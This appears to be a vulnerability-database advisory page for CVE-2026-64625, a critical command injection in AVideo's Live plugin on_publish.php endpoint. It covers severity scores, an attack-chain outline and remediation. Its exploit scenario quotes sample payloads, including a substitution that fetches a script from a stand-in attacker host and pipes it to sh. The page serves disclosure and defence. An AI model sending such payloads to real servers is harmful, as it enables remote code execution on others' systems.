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AVideo CVE-2026-64625

| EUVDEUVD-2026-46119 CRITICAL
OS Command Injection (CWE-78)
2026-07-20 disclosure@vulncheck.com GHSA-9h6c-phqv-934p
PHP Command Injection
9.3
CVSS 4.0 · Vendor: vulncheck
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Severity by source

Vendor (vulncheck) PRIMARY
9.3 CRITICAL
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
vuln.today AI
9.8 CRITICAL

Remote unauthenticated request to on_publish.php yields shell command execution with no interaction, giving full C/I/A impact; scope unchanged as commands run within the host service context.

3.1 AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
4.0 AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Primary rating from Vendor (vulncheck).

CVSS VectorVendor: vulncheck

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
X

Lifecycle Timeline

3
Patch available
Jul 21, 2026 - 02:02 EUVD
Analysis Generated
Jul 20, 2026 - 22:33 vuln.today
CVE Published
Jul 20, 2026 - 22:17 cve.org
CRITICAL 9.3

DescriptionCVE.org

AVideo before 29.0 contains an incomplete fix for CVE-2026-45578 where execAsync() re-wraps escaped commands in double-quoted sh -c, allowing command substitution via $() and backticks. Attackers can inject arbitrary OS commands through the Live plugin on_publish.php endpoint despite escapeshellarg() protection.

Articles & Coverage 1

News Critical OS Command Injection in AVideo PHP Live Plugin - CVE-2026-64625 Jul 21, 2026

AnalysisAI

OS command injection in AVideo before version 29.0 allows remote attackers to execute arbitrary commands via the Live plugin's on_publish.php endpoint. The flaw is an incomplete fix for CVE-2026-45578: the execAsync() helper re-wraps already-escaped input inside a double-quoted 'sh -c' invocation, which lets shell command substitution using $() or backticks bypass the escapeshellarg() sanitization entirely. …

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Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata

Access
Reach exposed on_publish.php endpoint
Delivery
Craft publish parameter with $() payload
Exploit
Bypass escapeshellarg via sh -c wrap
Execution
Shell evaluates command substitution
Impact
Execute arbitrary OS commands on server
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Vulnerability AssessmentAI

Exploitation Exploitation requires that the AVideo Live plugin is enabled and its on_publish.php endpoint is network-reachable by the attacker, and that the instance runs a version before 29.0 (including instances patched only for CVE-2026-45578). … Additional conditions and limiting factors are described in the full assessment.
Risk Assessment The signals are largely aligned toward high real-world risk: the CVSS 4.0 vector is AV:N/AC:L/AT:N/PR:N/UI:N with high confidentiality, integrity, and availability impact on the vulnerable system (base 9.3), meaning remote, low-complexity, unauthenticated exploitation with no user interaction. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in.
Exploit Scenario An attacker locates an internet-exposed AVideo instance with the Live plugin enabled and sends a crafted request to on_publish.php containing a stream name or parameter embedding a shell command substitution such as $(id) or `curl attacker/x|sh`. Because execAsync() runs the value through a double-quoted sh -c, the shell evaluates the substitution and runs the attacker's command on the server with the web service's privileges. …
Remediation Upgrade to AVideo 29.0 or later, which contains the complete fix; the version-based advisory ('before 29.0') indicates 29.0 is the first fixed release, though the exact patched build should be confirmed against GHSA-rc5x-vh5v-473f (https://github.com/WWBN/AVideo/security/advisories/GHSA-rc5x-vh5v-473f) and the VulnCheck advisory (https://www.vulncheck.com/advisories/avideo-before-os-command-injection-via-execasync). … Detailed patch versions, workarounds, and compensating controls in full report.
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Recommended ActionAI

Within 24 hours, inventory all AVideo deployments and isolate any exposed instances from untrusted networks; block external access to the Live plugin's on_publish.php endpoint at network perimeter or firewall. …

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Threat intelligence, references, and detailed analysis are available after sign-in.

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CVE-2026-64625 vulnerability details – vuln.today
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